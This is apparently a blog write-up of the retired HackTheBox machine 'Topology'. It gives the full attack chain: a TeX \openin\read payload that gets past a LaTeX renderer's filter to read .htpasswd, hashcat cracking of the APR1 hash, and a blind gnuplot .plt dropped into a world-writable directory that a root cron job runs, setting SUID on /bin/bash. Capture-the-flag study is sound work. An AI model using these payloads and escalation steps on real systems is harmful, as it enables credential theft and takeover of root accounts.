~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / topology.md

topology

Linux · Easy · released 2023-06-10 · retired 2023-11-04

Summary

Topology is an Easy Linux box: LaTeX equation generator on latex.topology.htb lets us inject TeX file-read primitives to read arbitrary files → grab /var/www/dev/.htpasswd → crack APR1 → SSH as vdaisley. Privesc: root cron runs gnuplot /opt/gnuplot/*.plt and the dir is drwx-wx-wx — vdaisley can drop a .plt even without read access on the dir → system("chmod +s /bin/bash")bash -p.

The chain:

  1. latex.topology.htb/equation.php?eqn=... renders user equations to PNG via pdflatex with restricted \write18.
  2. \input{...} and \write18{...} are blocked by the PHP filter (“Illegal command detected”); \lstinputlisting silently no-ops because the listings package isn’t loaded by the standalone document class. The working primitive is plain TeX \openin\read — builtin, no package needed:
    \openin1=/path \read1 to\f \detokenize\expandafter{\f}
    

    \detokenize is required: $apr1$... and : chars would otherwise be parsed as TeX active tokens and break the PNG render.

  3. Read /var/www/dev/.htaccessAuthUserFile /var/www/dev/.htpasswd. Then read .htpasswdvdaisley:$apr1$<salt>$<hash>. The PNG output goes through tesseract OCR; the salt-vs-hash boundary is ambiguous in OCR (e.g. 1 vs l, 0 vs O, 5 vs S). When hashcat -m 1600 rejects with “token length exception”, view the raw PNG at the actual pixel resolution — the $apr1$<8-char>$<22-char> boundary is visually unambiguous even when OCR isn’t.
  4. hashcat -m 1600 → <VDAISLEY_PW> (a calculus-themed string). SSH as vdaisley.
  5. /opt/gnuplot/ is drwx-wx-wx. vdaisley can write but not list. Drop a .plt blind:
    echo 'system("chmod 4755 /bin/bash")' > /opt/gnuplot/x.plt
    

    Root cron picks it up within ~2 min; /bin/bash -p is then SUID-root.

  6. bash -p -c 'cat /root/root.txt' → root flag.

Recon

22/tcp     OpenSSH
80/tcp     topology.htb
+ vhosts: latex.topology.htb (LaTeX renderer), dev.topology.htb

Foothold — TeX \openin\read → htpasswd

The endpoint is GET /equation.php?eqn=<url-encoded-tex>&submit=Generate, not POST /equation. Output is a image/png body (the rendered equation). Filter denies \input and \write18 by literal-substring match. \lstinputlisting is permitted but silently no-ops because the standalone class doesn’t load listings. \openin\read (plain TeX, no package required) works:

PAYLOAD='\openin1=/var/www/dev/.htaccess\read1 to\f\detokenize\expandafter{\f}'
curl -G --data-urlencode "eqn=$PAYLOAD" --data-urlencode 'submit=Generate' \
     http://latex.topology.htb/equation.php -o eq.png
tesseract --psm 7 eq.png -
# AuthUserFile /var/www/dev/.htpasswd

For multi-line files, the script (notes/engagements/topology/exploits/topology_read.py) calls \read1 to\f N times to skip to a target line. Length is the binding constraint — the LaTeX source has a Input too long. Sorry. reject at ~600 chars, so each request reads at most ~10 lines.

Then the .htpasswd:

PAYLOAD='\openin1=/var/www/dev/.htpasswd\read1 to\f\detokenize\expandafter{\f}'
curl -G --data-urlencode "eqn=$PAYLOAD" --data-urlencode 'submit=Generate' \
     http://latex.topology.htb/equation.php -o htpw.png
tesseract -c tessedit_char_whitelist='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./:' \
          --psm 7 htpw.png -
# vdaisley:$apr1$<salt>$<hash>

OCR ambiguity warning: open the PNG at full resolution before pasting into hashcat. APR1 has $apr1$<8-byte salt>$<22-byte hash>; if hashcat rejects with “token length exception”, an OCR-corrupted boundary char (l1, O0, S5) is the most likely cause.

hashcat -m 1600 hash rockyou.txt
# → <VDAISLEY_PW>
ssh vdaisley@<TARGET>

Privesc — gnuplot cron in drwx-wx-wx dir

$ ls -ld /opt/gnuplot
drwx-wx-wx 2 root root 4096 .../opt/gnuplot/

The dir is write+exec without read — vdaisley can create files but cannot ls. Don’t waste time enumerating the cron file or the existing .plt files; just write blind:

echo 'system("chmod 4755 /bin/bash")' > /opt/gnuplot/x.plt
# wait ≤2 min for the next cron tick
ls -la /bin/bash    # → -rwsr-xr-x root root
/bin/bash -p -c 'cat /root/root.txt'

Note the root cron is */2 * * * * (every 2 min); first tick after the drop fires within ~10-90s.

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗